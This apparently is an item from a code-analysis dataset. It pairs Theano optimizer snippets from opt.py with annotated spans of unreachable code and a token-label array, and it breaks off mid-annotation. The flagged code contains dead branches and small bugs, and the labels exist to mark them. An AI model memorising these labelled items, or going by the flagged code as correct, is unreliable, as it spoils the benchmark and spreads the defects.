"'}", "\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "end", "Document_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stream_", "._", "write_", "(_", "u", "\"\\\\", "n", "\"_", "._", "encode_", "(_", "'", "ascii", "'_", ")_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unreachable code
rizar/attention-lvcsr/libs/Theano/theano/tensor/opt.py
[ { "content": "@register_canonicalize\n@register_stabilize\[email protected]_optimizer([T.Tile])\ndef local_useless_tile(node):\n \"\"\"Tile(x, (1,)*N) -> x\n\n This is useless tile. (1,)*N, just mean a vector with all element\n being 1.\n\n \"\"\"\n if isinstance(node.op, T.Tile):\n try:\n a = T.get_scalar_constant_value(node.inputs[1])\n if a == 1:\n try:\n l = T.get_vector_length(node.inputs[1])\n if l == node.inputs[0].ndim:\n # No need to copy over any stacktrace as previous\n # input variable already has a stacktrace\n return [node.inputs[0]]\n elif l < node.inputs[0].ndim:\n # The Op don't support that case, so we can't\n # implement the opt and test it.\n return\n return [node.inputs[0]]\n else:\n # The Op don't support that case, so we can't\n # implement the opt and test it.\n return\n x_nd = node.inputs[0].ndim\n broad = ['x'] * (l - x_nd) + xrange(x_nd)\n ret = node.inputs[0].dimshuffle(broad)\n # Copy over stacktrace from previous output node,\n # and from node before tiling operation.\n copy_stack_trace(node.outputs + node.inputs[0], ret)\n return [ret]\n except ValueError:\n return\n except NotScalarConstantError:\n return", "metadata": "root.local_useless_tile", "header": "['module', '___EOS___']", "index": 3808 }, { "content": " @register_canonicalize\n @gof.local_optimizer([T.Reshape])\n def local_scalar_reshape(node):\n \"\"\"Eliminate reshape Ops whose inputs and outputs are scalars \"\"\"\n if isinstance(node.op, T.Reshape):\n x, shp = node.inputs\n if x.ndim == 0 and T.get_vector_length(shp) == 0:\n return [x]", "metadata": "root.local_scalar_reshape", "header": "['module', '___EOS___']", "index": 3973 }, { "content": " @register_canonicalize\n @gof.local_optimizer([T.Sum])\n def local_sum_over_empty(node):\n if isinstance(node.op, T.Sum):\n # This optimization needs ShapeOpt and fgraph.shape_feature\n if not hasattr(node.fgraph, 'shape_feature'):\n return\n y, = node.outputs\n y_shape = node.fgraph.shape_feature.shape_of[y]\n\n def tmp(thing):\n try:\n return T.get_scalar_constant_value(thing)\n except (TypeError, ValueError) as e:\n print(e, thing.owner.inputs[0])\n return None\n print('LOCAL SUM EMPTY', [tmp(s) for s in y_shape])", "metadata": "root.local_sum_over_empty", "header": "['module', '___EOS___']", "index": 3989 }, { "content": " def get_num_denum(self, input):\n \"\"\"\n This extract two lists, num and denum, such that the input is:\n self.inverse(self.main(\\*num), self.main(\\*denum)). It returns\n the two lists in a (num, denum) pair.\n\n For example, for main, inverse and reciprocal = \\*, / and inv(),\n\n | input -> returned value (num, denum)\n\n | x*y -> ([x, y], [])\n | inv(x) -> ([], [x])\n | inv(x) * inv(y) -> ([], [x, y])\n | x*y/z -> ([x, y], [z])\n | log(x) / y * (z + x) / y -> ([log(x), z + x], [y, y])\n | (((a / b) * c) / d) -> ([a, c], [b, d])\n | a / (b / c) -> ([a, c], [b])\n | log(x) -> ([log(x)], [])\n | x**y -> ([x**y], [])\n | x * y * z -> ([x, y, z], [])\n\n \"\"\"\n\n # This function is recursive. The idea is that there is a\n # get_num_denum recursion in which the internal ops are all\n # one of (main, inverse, reciprocal, DimShuffle) and the\n # internal data nodes all have the dtype of the 'input'\n # argument. The leaf-Variables of the graph covered by the\n # recursion may be of any Variable type.\n\n if 0:\n # UPDATE: This logic makes it impossible to recognize some\n # important patterns (e.g. variants on the x/x) and it is\n # screwing up the RBM free energy gradient.\n # TODO: review this\n if len(input.clients) > 1:\n # this logic is too conservative, but doing it is\n # better than not doing it.\n #\n # we don't want to canonize a subgraph that we will\n # need to compute anyway for the other clients.\n\n # This check is too conservative because if the other\n # clients are also in the subgraph we are canonizing,\n # then we should [probably?] recurse anyway.\n return [input], []\n\n if input.owner is None or input.owner.op not in [\n self.main, self.inverse, self.reciprocal]:\n if input.owner and isinstance(input.owner.op, T.DimShuffle):\n # If input is a DimShuffle of some input which does\n # something like this:\n\n # * change a vector of length N into a 1xN row matrix\n # * change a scalar into a 1x1x1 tensor\n # * in general, complete the shape of a tensor\n # with broadcastable 1s to the *left*\n # Then we will simply discard the DimShuffle and return\n # the num/denum of its input\n dsn = input.owner # dimshuffle node\n dsop = dsn.op # dimshuffle op\n\n # the first input of the dimshuffle i.e. the ndarray to redim\n dsi0 = dsn.inputs[0]\n\n # The compatible order is a DimShuffle \"new_order\" of the form:\n # ('x', ..., 'x', 0, 1, 2, ..., dimshuffle_input.type.ndim)\n\n # That kind of DimShuffle only adds broadcastable\n # dimensions on the left, without discarding any\n # existing broadcastable dimension and is inserted\n # automatically by Elemwise when the inputs have\n # different numbers of dimensions (hence why we can\n # discard its information - we know we can retrieve it\n # later on).\n compatible_order = (('x',) *\n (input.type.ndim - dsi0.type.ndim) +\n tuple(range(dsi0.type.ndim)))\n if dsop.new_order == compatible_order:\n # If the \"new_order\" is the one we recognize,\n # we return the num_denum of the dimshuffled input.\n return self.get_num_denum(input.owner.inputs[0])\n else:\n # This is when the input isn't produced by main,\n # inverse or reciprocal.\n return [input], []\n else:\n return [input], []\n num = []\n denum = []\n parent = input.owner\n\n # We get the (num, denum) pairs for each input\n # pairs = [self.get_num_denum(input2) if input2.type.dtype ==\n # input.type.dtype else ([input2], []) for input2 in\n # parent.inputs]\n pairs = [self.get_num_denum(input2) for input2 in parent.inputs]\n\n if parent.op == self.main:\n # If we have main(x, y, ...), numx, denumx, numy, denumy, ...\n # then num is concat(numx, numy, num...) and denum is\n # concat(denumx, denumy, denum...) note that main() can have any\n # number of arguments >= 0 concat is list concatenation\n num = reduce(list.__iadd__, map(operator.itemgetter(0), pairs))\n denum = reduce(list.__iadd__, map(operator.itemgetter(1), pairs))\n elif parent.op == self.inverse:\n # If we have inverse(x, y), numx, denumx, numy and denumy\n # then num is concat(numx, denumy) and denum is\n # concat(denumx, numy) note that inverse() is binary\n num = pairs[0][0] + pairs[1][1]\n denum = pairs[0][1] + pairs[1][0]\n elif parent.op == self.reciprocal:\n # If we have reciprocal(x), numx, denumx\n # then num is denumx and denum is numx\n # note that reciprocal() is unary\n num = pairs[0][1]\n denum = pairs[0][0]\n return num, denum", "metadata": "root.Canonizer.get_num_denum", "header": "['class', 'Canonizer', '(', 'gof', '.', 'LocalOptimizer', ')', ':', '___EOS___']", "index": 4140 }, { "content": "@register_stabilize\n@register_specialize\[email protected]_optimizer([T.true_div])\ndef local_grad_log_erfc_neg(node):\n if node.op != T.true_div:\n return False\n if not node.inputs[1].owner or node.inputs[1].owner.op != T.erfc:\n return False\n erfc = node.inputs[1]\n erfc_x = erfc.owner.inputs[0]\n if not node.inputs[0].owner:\n return False\n\n # The mul is optional.\n if node.inputs[0].owner.op != T.mul:\n mul = None\n y = []\n if not node.inputs[0].owner or node.inputs[0].owner.op != T.exp:\n return False\n exp = node.inputs[0]\n else:\n mul = node.inputs[0]\n exp = None\n for idx, inp in enumerate(mul.owner.inputs):\n if inp.owner and inp.owner.op == T.exp:\n exp = inp\n break\n if len(mul.owner.inputs) == 2:\n y = [mul.owner.inputs[1 - idx]]\n else:\n y = mul.owner.inputs[:]\n del y[idx]\n del mul\n if not exp.owner.inputs[0].owner:\n return False\n\n if exp.owner.inputs[0].owner.op == T.neg:\n neg = exp.owner.inputs[0]\n if (not neg.owner.inputs[0].owner or\n neg.owner.inputs[0].owner.op != T.sqr):\n return False\n sqr = neg.owner.inputs[0]\n x = sqr.owner.inputs[0]\n elif exp.owner.inputs[0].owner.op == T.mul:\n # We should compare that -(erfc_x**2) is equivalent to mul_neg.\n # There is currently no easy way to do this in the general case,\n # so we implement some common case for now.\n\n # In many cases the neg are replaced by mul in the graph.\n # This also allows to stabilize log(erfc(cst*x)).\n mul_neg = exp.owner.inputs[0]\n\n # In case that multiple mul are not fused together, we do it here.\n def check_input(inputs):\n new_inputs = []\n for i in inputs:\n if i.owner and i.owner.op == T.mul:\n new_inputs.extend(check_input(i.owner.inputs))\n else:\n new_inputs.append(i)\n return new_inputs\n mul_inputs = check_input(mul_neg.owner.inputs)\n\n # Put the constant first.\n for i in xrange(len(mul_inputs)):\n if isinstance(i, Constant):\n if i == 0:\n break\n else:\n tmp = mul_inputs[0]\n mul_inputs[0] = mul_inputs[i]\n mul_inputs[i] = tmp\n break\n mul_neg = T.mul(*mul_inputs)\n\n try:\n cst2 = get_scalar_constant_value(mul_neg.owner.inputs[0])\n except NotScalarConstantError:\n return False\n\n if len(mul_neg.owner.inputs) == 2:\n if (not mul_neg.owner.inputs[1].owner or\n mul_neg.owner.inputs[1].owner.op != T.sqr):\n return False\n sqr = mul_neg.owner.inputs[1]\n x = sqr.owner.inputs[0]\n elif len(mul_neg.owner.inputs) == 3:\n if mul_neg.owner.inputs[1] is not mul_neg.owner.inputs[2]:\n return False\n x = mul_neg.owner.inputs[1]\n else:\n return False\n\n if cst2 != -1:\n if (not erfc_x.owner or erfc_x.owner.op != T.mul or\n len(erfc_x.owner.inputs) != 2):\n # todo implement that case\n return False\n if erfc_x.owner.inputs[1] is not mul_neg.owner.inputs[1]:\n return False\n\n x = erfc_x\n try:\n cst = get_scalar_constant_value(erfc_x.owner.inputs[0])\n except NotScalarConstantError:\n return False\n if cst2 != -cst * 2:\n return False\n\n # The constant is valid. Must check that the\n elif erfc_x is not x:\n return False\n\n else:\n return False\n\n if hasattr(node.tag, 'local_grad_log_erfc_neg'):\n # We use that flag to don't apply the optimization recursively\n return False\n\n # we move the y outside the div.\n true_div_no_mul = T.true_div(exp, erfc)\n true_div_no_mul.owner.tag.local_grad_log_erfc_neg = True\n\n # aaron value\n stab_value = (x * T.pow(1 - 1 / (2 * (x ** 2)) +\n 3 / (4 * (x ** 4)) - 15 / (8 * (x ** 6)), -1) *\n T.cast(T.sqrt(numpy.pi), dtype=x.dtype))\n\n if x.dtype == 'float32' or x.dtype == 'float16':\n threshold = 9.3\n # threshold = 10.1\n elif x.dtype == 'float64':\n threshold = 26.641747557\n ret = T.switch(x < threshold, true_div_no_mul, stab_value)\n if y:\n ret = T.mul(ret, *y)\n ret.tag.values_eq_approx = values_eq_approx_remove_inf_nan\n return [ret]\n \"\"\"\nThe libm used for the test is amdlibm\n #([y*]exp(-(x**2)))/erfc(x) # The mul is optional\n#exp(x**2)/erfc(-x) => when x>threashold,\n#-x*(1-1/(2*x**2)+3/(4*x**4)-15/(8*x**6))*sqrt(pi) for float64:\n#threshold=26.63 see below for float32: threshold=9.3 see below TODO\n#remove the contraint that there are only 2 inputs to mul TODO: should\n#we cast numpy.pi to x.dtype?\n\n#float32 threshold 9.3 as the approximation is more precise at that\n#point and more stable.\nimport numpy, scipy.special\nr = numpy.arange(9,10.06,.01)\n\np64=[(numpy.exp(-(x**2)))/scipy.special.erfc(x) for x in r]\np32=[(numpy.exp(-(x**2)))/scipy.special.erfc(x) for x in\nnumpy.asarray(r,dtype='float32')]\na64=[x*((1-1/(2*x**2)+3/(4*x**4)-15/(8*x**6))**(-1))*numpy.sqrt(numpy.pi)\nfor x in r]\na32=[x*((1-1/(2*x**2)+3/(4*x**4)-15/(8*x**6))**(-1))\n * numpy.float32(numpy.sqrt(numpy.pi))\nfor x in numpy.asarray(r,dtype='float32')] for idx,(a,b,c,d,e) in\nenumerate(zip(r,p64,p32,a64,a32)):print\na,b,c,d,e,c-b,e-b,numpy.absolute(c-b)<numpy.absolute(e-b)\n\n#, show that the value don't look stable at some point before inf.\nfor i in xrange(1,len(p32)): print r[i], p32[i]-p32[i-1]\n\n#float64 threshold is 26.63 the approx seam more precise at that\npoint. r = numpy.arange(26.2,26.7,.001)\n#scipy.special.erfc(numpy.float128(x)) don't work\n#p128=[(numpy.exp(-(x**2)))/scipy.special.erfc(x)for x in\nnumpy.float128(r)] #those value have been computed with g++\ntheano/misc/erfc_stability_threshold.c && ./a.out\np128=numpy.float128(['46.47206725', '46.47383842', '46.47560959',\n'46.47738076', '46.47915193', '46.48092309', '46.48269426',\n'46.48446543', '46.48623660', '46.48800777', '46.48977894',\n'46.49155011', '46.49332128', '46.49509245', '46.49686362',\n'46.49863479', '46.50040596', '46.50217713', '46.50394830',\n'46.50571947', '46.50749064', '46.50926181', '46.51103298',\n'46.51280415', '46.51457532', '46.51634649', '46.51811766',\n'46.51988883', '46.52166000', '46.52343118', '46.52520235',\n'46.52697352', '46.52874469', '46.53051586', '46.53228703',\n'46.53405820', '46.53582938', '46.53760055', '46.53937172',\n'46.54114289', '46.54291407', '46.54468524', '46.54645641',\n'46.54822758', '46.54999876', '46.55176993', '46.55354110',\n'46.55531227', '46.55708345', '46.55885462', '46.56062579',\n'46.56239697', '46.56416814', '46.56593931', '46.56771049',\n'46.56948166', '46.57125283', '46.57302401', '46.57479518',\n'46.57656636', '46.57833753', '46.58010871', '46.58187988',\n'46.58365105', '46.58542223', '46.58719340', '46.58896458',\n'46.59073575', '46.59250693', '46.59427810', '46.59604928',\n'46.59782045', '46.59959163', '46.60136280', '46.60313398',\n'46.60490516', '46.60667633', '46.60844751', '46.61021868',\n'46.61198986', '46.61376104', '46.61553221', '46.61730339',\n'46.61907456', '46.62084574', '46.62261692', '46.62438809',\n'46.62615927', '46.62793045', '46.62970163', '46.63147280',\n'46.63324398', '46.63501516', '46.63678633', '46.63855751',\n'46.64032869', '46.64209987', '46.64387104', '46.64564222',\n'46.64741340', '46.64918458', '46.65095576', '46.65272693',\n'46.65449811', '46.65626929', '46.65804047', '46.65981165',\n'46.66158283', '46.66335401', '46.66512519', '46.66689636',\n'46.66866754', '46.67043872', '46.67220990', '46.67398108',\n'46.67575226', '46.67752344', '46.67929462', '46.68106580',\n'46.68283698', '46.68460816', '46.68637934', '46.68815052',\n'46.68992170', '46.69169288', '46.69346406', '46.69523524',\n'46.69700642', '46.69877760', '46.70054878', '46.70231997',\n'46.70409115', '46.70586233', '46.70763351', '46.70940469',\n'46.71117587', '46.71294705', '46.71471824', '46.71648942',\n'46.71826060', '46.72003178', '46.72180296', '46.72357414',\n'46.72534533', '46.72711651', '46.72888769', '46.73065887',\n'46.73243006', '46.73420124', '46.73597242', '46.73774361',\n'46.73951479', '46.74128597', '46.74305715', '46.74482834',\n'46.74659952', '46.74837070', '46.75014189', '46.75191307',\n'46.75368426', '46.75545544', '46.75722662', '46.75899781',\n'46.76076899', '46.76254018', '46.76431136', '46.76608254',\n'46.76785373', '46.76962491', '46.77139610', '46.77316728',\n'46.77493847', '46.77670965', '46.77848084', '46.78025202',\n'46.78202321', '46.78379439', '46.78556558', '46.78733677',\n'46.78910795', '46.79087914', '46.79265032', '46.79442151',\n'46.79619269', '46.79796388', '46.79973507', '46.80150625',\n'46.80327744', '46.80504863', '46.80681981', '46.80859100',\n'46.81036219', '46.81213337', '46.81390456', '46.81567575',\n'46.81744693', '46.81921812', '46.82098931', '46.82276050',\n'46.82453168', '46.82630287', '46.82807406', '46.82984525',\n'46.83161644', '46.83338762', '46.83515881', '46.83693000',\n'46.83870119', '46.84047238', '46.84224357', '46.84401475',\n'46.84578594', '46.84755713', '46.84932832', '46.85109951',\n'46.85287070', '46.85464189', '46.85641308', '46.85818427',\n'46.85995546', '46.86172665', '46.86349784', '46.86526903',\n'46.86704022', '46.86881141', '46.87058260', '46.87235379',\n'46.87412498', '46.87589617', '46.87766736', '46.87943855',\n'46.88120974', '46.88298093', '46.88475212', '46.88652331',\n'46.88829450', '46.89006569', '46.89183688', '46.89360807',\n'46.89537927', '46.89715046', '46.89892165', '46.90069284',\n'46.90246403', '46.90423522', '46.90600642', '46.90777761',\n'46.90954880', '46.91131999', '46.91309119', '46.91486238',\n'46.91663357', '46.91840476', '46.92017596', '46.92194715',\n'46.92371834', '46.92548953', '46.92726073', '46.92903192',\n'46.93080311', '46.93257431', '46.93434550', '46.93611669',\n'46.93788789', '46.93965908', '46.94143028', '46.94320147',\n'46.94497266', '46.94674386', '46.94851505', '46.95028625',\n'46.95205744', '46.95382864', '46.95559983', '46.95737103',\n'46.95914222', '46.96091341', '46.96268461', '46.96445581',\n'46.96622700', '46.96799820', '46.96976939', '46.97154059',\n'46.97331178', '46.97508298', '46.97685417', '46.97862537',\n'46.98039657', '46.98216776', '46.98393896', '46.98571015',\n'46.98748135', '46.98925255', '46.99102374', '46.99279494',\n'46.99456614', '46.99633733', '46.99810853', '46.99987973',\n'47.00165092', '47.00342212', '47.00519332', '47.00696452',\n'47.00873571', '47.01050691', '47.01227811', '47.01404931',\n'47.01582050', '47.01759170', '47.01936290', '47.02113410',\n'47.02290530', '47.02467649', '47.02644769', '47.02821889',\n'47.02999009', '47.03176129', '47.03353249', '47.03530369',\n'47.03707489', '47.03884608', '47.04061728', '47.04238848',\n'47.04415968', '47.04593088', '47.04770208', '47.04947328',\n'47.05124448', '47.05301568', '47.05478688', '47.05655808',\n'47.05832928', '47.06010048', '47.06187168', '47.06364288',\n'47.06541408', '47.06718528', '47.06895648', '47.07072768',\n'47.07249888', '47.07427009', '47.07604129', '47.', '47.07958369',\n'47.08135489', '47.08312609', '47.08489729', '47.08666850',\n'47.08843970', '47.09021090', '47.09198210', '47.09375330',\n'47.09552450', '47.09729571', '47.09906691', '47.10083811',\n'47.10260931', '47.10438052', '47.10615172', '47.10792292',\n'47.10969412', '47.11146533', '47.11323653', '47.11500773',\n'47.11677894', '47.11855014', '47.12032134', '47.12209255',\n'47.12386375', '47.12563495', '47.12740616', '47.12917736',\n'47.13094857', '47.13271977', '47.13449097', '47.13626218',\n'47.13803338', '47.13980459', '47.14157579', '47.14334700',\n'47.14511820', '47.14688941', '47.14866061', '47.15043182',\n'47.15220302', '47.15397423', '47.15574543', '47.15751664',\n'47.15928784', '47.16105905', '47.16283025', '47.16460146',\n'47.16637266', '47.16814387', '47.16991508', '47.17168628',\n'47.17345749', '47.17522869', '47.17699990', '47.17877111',\n'47.18054231', '47.18231352', '47.18408473', '47.18585593',\n'47.18762714', '47.18939835', '47.19116956', '47.19294076',\n'47.19471197', '47.19648318', '47.19825439', '47.20002559',\n'47.20179680', '47.20356801', '47.20533922', '47.20711042',\n'47.20888163', '47.21065284', '47.21242405', '47.21419526',\n'47.21596647', '47.21773767', '47.21950888', '47.22128009',\n'47.22305130', '47.22482251', '47.22659372', '47.22836493',\n'47.23013614', '47.23190735', '47.23367855', '47.23544976',\n'47.23722097', '47.23899218', '47.24076339', '47.24253460',\n'47.24430581', '47.24607702', '47.24784823', '47.24961944',\n'47.25139065', '47.25316186', '47.25493307', '47.25670429',\n'47.25847550', '47.26024671', '47.26201792', '47.26378913',\n'47.26556034', '47.26733155', '47.26910276', '47.27087397',\n'47.27264518', '47.27441640', '47.27618761', '47.27795882',\n'47.27973003', '47.28150124', '47.28327246', '47.28504367',\n'47.28681488', '47.28858609', '47.29035730', '47.29212852',\n'47.29389973', '47.29567094', '47.29744215', '47.29921337',\n'47.30098458', '47.30275579', '47.30452701', '47.30629822',\n'47.30806943', '47.30984065', '47.31161186', '47.31338307',\n'47.31515429', '47.31692550', '47.31869671', '47.32046793',\n'47.32223914', '47.32401036', '47.32578157', '47.32755278',\n'47.32932400', '47.33109521', '47.33286643', '47.33463764',\n'47.33640886', '47.33818007', '47.33995129', '47.34172250',\n'47.34349372', '47.34526493', '47.34703615', '47.34880736',\n'47.35057858', '47.35234979', '47.35412101', '47.35589223'])\np64=[(numpy.exp(-(x**2)))/scipy.special.erfc(x)for x in r]\na128=[x*((1-1/(2*x**2)+3/(4*x**4)-15/(8*x**6))**(-1))\n *numpy.float128(numpy.sqrt(numpy.pi))\n for x in numpy.asarray(r,dtype='float128')]\na64=[x*((1-1/(2*x**2)+3/(4*x**4)-15/(8*x**6)+63/(7*x**8))**(-1))\n *numpy.sqrt(numpy.pi)\n for x in r] for a,b,c,d in zip(r,p128,p64,a64):print a,b,c,d,c-b,d-b\n\nfor i in xrange(1,len(p64)): print i, 64[i]-p64[i-1]\n \"\"\"", "metadata": "root.local_grad_log_erfc_neg", "header": "['module', '___EOS___']", "index": 6039 } ]
[ { "span": "return [node.inputs[0]]", "start_line": 3832, "start_column": 24, "end_line": 3832, "end_column": 47 }, { "span": "x_nd = node.inputs[0].ndim", "start_line": 3837, "start_column": 24, "end_line": 3837, "end_column": 50 }, { "span": "def local_scalar_reshape(node):", "start_line": 3975, "start_column": 4, "end_line": 3975, "end_column": 35 }, { "span": "def local_sum_over_empty(node):", "start_line": 3991, "start_column": 4, "end_line": 3991, "end_column": 35 }, { "span": "if len(input.clients) > 1:", "start_line": 4175, "start_column": 12, "end_line": 4175, "end_column": 38 }, { "span": "\"\"\"\nThe libm used for the test is amdlibm\n #([y*]exp(-(x**2)))/erfc(x) # The mul is optional\n#exp(x**2)/erfc(-x) => when x>threashold,\n#-x*(1-1/(2*x**2)+3/(4*x**4)-15/(8*x**6))*sqrt(pi) for float64:\n#threshold=26.63 see below for float32: threshold=9.3 see below TODO\n#remove the contraint that there are only 2 inputs to mul TODO: should\n#we cast numpy.pi to x.dtype?\n\n#float32 threshold 9.3 as the approximation is more precise at that\n#point and more stable.\nimport numpy, scipy.special\nr = numpy.arange(9,10.06,.01)\n\np64=[(numpy.exp(-(x**2)))/scipy.special.erfc(x) for x in r]\np32=[(numpy.exp(-(x**2)))/scipy.special.erfc(x) for x in\nnumpy.asarray(r,dtype='float32')]\na64=[x*((1-1/(2*x**2)+3/(4*x**4)-15/(8*x**6))**(-1))*numpy.sqrt(numpy.pi)\nfor x in r]\na32=[x*((1-1/(2*x**2)+3/(4*x**4)-15/(8*x**6))**(-1))\n * numpy.float32(numpy.sqrt(numpy.pi))\nfor x in numpy.asarray(r,dtype='float32')] for idx,(a,b,c,d,e) in\nenumerate(zip(r,p64,p32,a64,a32)):print\na,b,c,d,e,c-b,e-b,numpy.absolute(c-b)<numpy.absolute(e-b)\n\n#, show that the value don't look stable at some point before inf.\nfor i in xrange(1,len(p32)): print r[i], p32[i]-p32[i-1]\n\n#float64 threshold is 26.63 the approx seam more precise at that\npoint. r = numpy.arange(26.2,26.7,.001)\n#scipy.special.erfc(numpy.float128(x)) don't work\n#p128=[(numpy.exp(-(x**2)))/scipy.special.erfc(x)for x in\nnumpy.float128(r)] #those value have been computed with g++\ntheano/misc/erfc_stability_threshold.c && ./a.out\np128=numpy.float128(['46.47206725', '46.47383842', '46.47560959',\n'46.47738076', '46.47915193', '46.48092309', '46.48269426',\n'46.48446543', '46.48623660', '46.48800777', '46.48977894',\n'46.49155011', '46.49332128', '46.49509245', '46.49686362',\n'46.49863479', '46.50040596', '46.50217713', '46.50394830',\n'46.50571947', '46.50749064', '46.50926181', '46.51103298',\n'46.51280415', '46.51457532', '46.51634649', '46.51811766',\n'46.51988883', '46.52166000', '46.52343118', '46.52520235',\n'46.52697352', '46.52874469', '46.53051586', '46.53228703',\n'46.53405820', '46.53582938', '46.53760055', '46.53937172',\n'46.54114289', '46.54291407', '46.54468524', '46.54645641',\n'46.54822758', '46.54999876', '46.55176993', '46.55354110',\n'46.55531227', '46.55708345', '46.55885462', '46.56062579',\n'46.56239697', '46.56416814', '46.56593931', '46.56771049',\n'46.56948166', '46.57125283', '46.57302401', '46.57479518',\n'46.57656636', '46.57833753', '46.58010871', '46.58187988',\n'46.58365105', '46.58542223', '46.58719340', '46.58896458',\n'46.59073575', '46.59250693', '46.59427810', '46.59604928',\n'46.59782045', '46.59959163', '46.60136280', '46.60313398',\n'46.60490516', '46.60667633', '46.60844751', '46.61021868',\n'46.61198986', '46.61376104', '46.61553221', '46.61730339',\n'46.61907456', '46.62084574', '46.62261692', '46.62438809',\n'46.62615927', '46.62793045', '46.62970163', '46.63147280',\n'46.63324398', '46.63501516', '46.63678633', '46.63855751',\n'46.64032869', '46.64209987', '46.64387104', '46.64564222',\n'46.64741340', '46.64918458', '46.65095576', '46.65272693',\n'46.65449811', '46.65626929', '46.65804047', '46.65981165',\n'46.66158283', '46.66335401', '46.66512519', '46.66689636',\n'46.66866754', '46.67043872', '46.67220990', '46.67398108',\n'46.67575226', '46.67752344', '46.67929462', '46.68106580',\n'46.68283698', '46.68460816', '46.68637934', '46.68815052',\n'46.68992170', '46.69169288', '46.69346406', '46.69523524',\n'46.69700642', '46.69877760', '46.70054878', '46.70231997',\n'46.70409115', '46.70586233', '46.70763351', '46.70940469',\n'46.71117587', '46.71294705', '46.71471824', '46.71648942',\n'46.71826060', '46.72003178', '46.72180296', '46.72357414',\n'46.72534533', '46.72711651', '46.72888769', '46.73065887',\n'46.73243006', '46.73420124', '46.73597242', '46.73774361',\n'46.73951479', '46.74128597', '46.74305715', '46.74482834',\n'46.74659952', '46.74837070', '46.75014189', '46.75191307',\n'46.75368426', '46.75545544', '46.75722662', '46.75899781',\n'46.76076899', '46.76254018', '46.76431136', '46.76608254',\n'46.76785373', '46.76962491', '46.77139610', '46.77316728',\n'46.77493847', '46.77670965', '46.77848084', '46.78025202',\n'46.78202321', '46.78379439', '46.78556558', '46.78733677',\n'46.78910795', '46.79087914', '46.79265032', '46.79442151',\n'46.79619269', '46.79796388', '46.79973507', '46.80150625',\n'46.80327744', '46.80504863', '46.80681981', '46.80859100',\n'46.81036219', '46.81213337', '46.81390456', '46.81567575',\n'46.81744693', '46.81921812', '46.82098931', '46.82276050',\n'46.82453168', '46.82630287', '46.82807406', '46.82984525',\n'46.83161644', '46.83338762', '46.83515881', '46.83693000',\n'46.83870119', '46.84047238', '46.84224357', '46.84401475',\n'46.84578594', '46.84755713', '46.84932832', '46.85109951',\n'46.85287070', '46.85464189', '46.85641308', '46.85818427',\n'46.85995546', '46.86172665', '46.86349784', '46.86526903',\n'46.86704022', '46.86881141', '46.87058260', '46.87235379',\n'46.87412498', '46.87589617', '46.87766736', '46.87943855',\n'46.88120974', '46.88298093', '46.88475212', '46.88652331',\n'46.88829450', '46.89006569', '46.89183688', '46.89360807',\n'46.89537927', '46.89715046', '46.89892165', '46.90069284',\n'46.90246403', '46.90423522', '46.90600642', '46.90777761',\n'46.90954880', '46.91131999', '46.91309119', '46.91486238',\n'46.91663357', '46.91840476', '46.92017596', '46.92194715',\n'46.92371834', '46.92548953', '46.92726073', '46.92903192',\n'46.93080311', '46.93257431', '46.93434550', '46.93611669',\n'46.93788789', '46.93965908', '46.94143028', '46.94320147',\n'46.94497266', '46.94674386', '46.94851505', '46.95028625',\n'46.95205744', '46.95382864', '46.95559983', '46.95737103',\n'46.95914222', '46.96091341', '46.96268461', '46.96445581',\n'46.96622700', '46.96799820', '46.96976939', '46.97154059',\n'46.97331178', '46.97508298', '46.97685417', '46.97862537',\n'46.98039657', '46.98216776', '46.98393896', '46.98571015',\n'46.98748135', '46.98925255', '46.99102374', '46.99279494',\n'46.99456614', '46.99633733', '46.99810853', '46.99987973',\n'47.00165092', '47.00342212', '47.00519332', '47.00696452',\n'47.00873571', '47.01050691', '47.01227811', '47.01404931',\n'47.01582050', '47.01759170', '47.01936290', '47.02113410',\n'47.02290530', '47.02467649', '47.02644769', '47.02821889',\n'47.02999009', '47.03176129', '47.03353249', '47.03530369',\n'47.03707489', '47.03884608', '47.04061728', '47.04238848',\n'47.04415968', '47.04593088', '47.04770208', '47.04947328',\n'47.05124448', '47.05301568', '47.05478688', '47.05655808',\n'47.05832928', '47.06010048', '47.06187168', '47.06364288',\n'47.06541408', '47.06718528', '47.06895648', '47.07072768',\n'47.07249888', '47.07427009', '47.07604129', '47.', '47.07958369',\n'47.08135489', '47.08312609', '47.08489729', '47.08666850',\n'47.08843970', '47.09021090', '47.09198210', '47.09375330',\n'47.09552450', '47.09729571', '47.09906691', '47.10083811',\n'47.10260931', '47.10438052', '47.10615172', '47.10792292',\n'47.10969412', '47.11146533', '47.11323653', '47.11500773',\n'47.11677894', '47.11855014', '47.12032134', '47.12209255',\n'47.12386375', '47.12563495', '47.12740616', '47.12917736',\n'47.13094857', '47.13271977', '47.13449097', '47.13626218',\n'47.13803338', '47.13980459', '47.14157579', '47.14334700',\n'47.14511820', '47.14688941', '47.14866061', '47.15043182',\n'47.15220302', '47.15397423', '47.15574543', '47.15751664',\n'47.15928784', '47.16105905', '47.16283025', '47.16460146',\n'47.16637266', '47.16814387', '47.16991508', '47.17168628',\n'47.17345749', '47.17522869', '47.17699990', '47.17877111',\n'47.18054231', '47.18231352', '47.18408473', '47.18585593',\n'47.18762714', '47.18939835', '47.19116956', '47.19294076',\n'47.19471197', '47.19648318', '47.19825439', '47.20002559',\n'47.20179680', '47.20356801', '47.20533922', '47.20711042',\n'47.20888163', '47.21065284', '47.21242405', '47.21419526',\n'47.21596647', '47.21773767', '47.21950888', '47.22128009',\n'47.22305130', 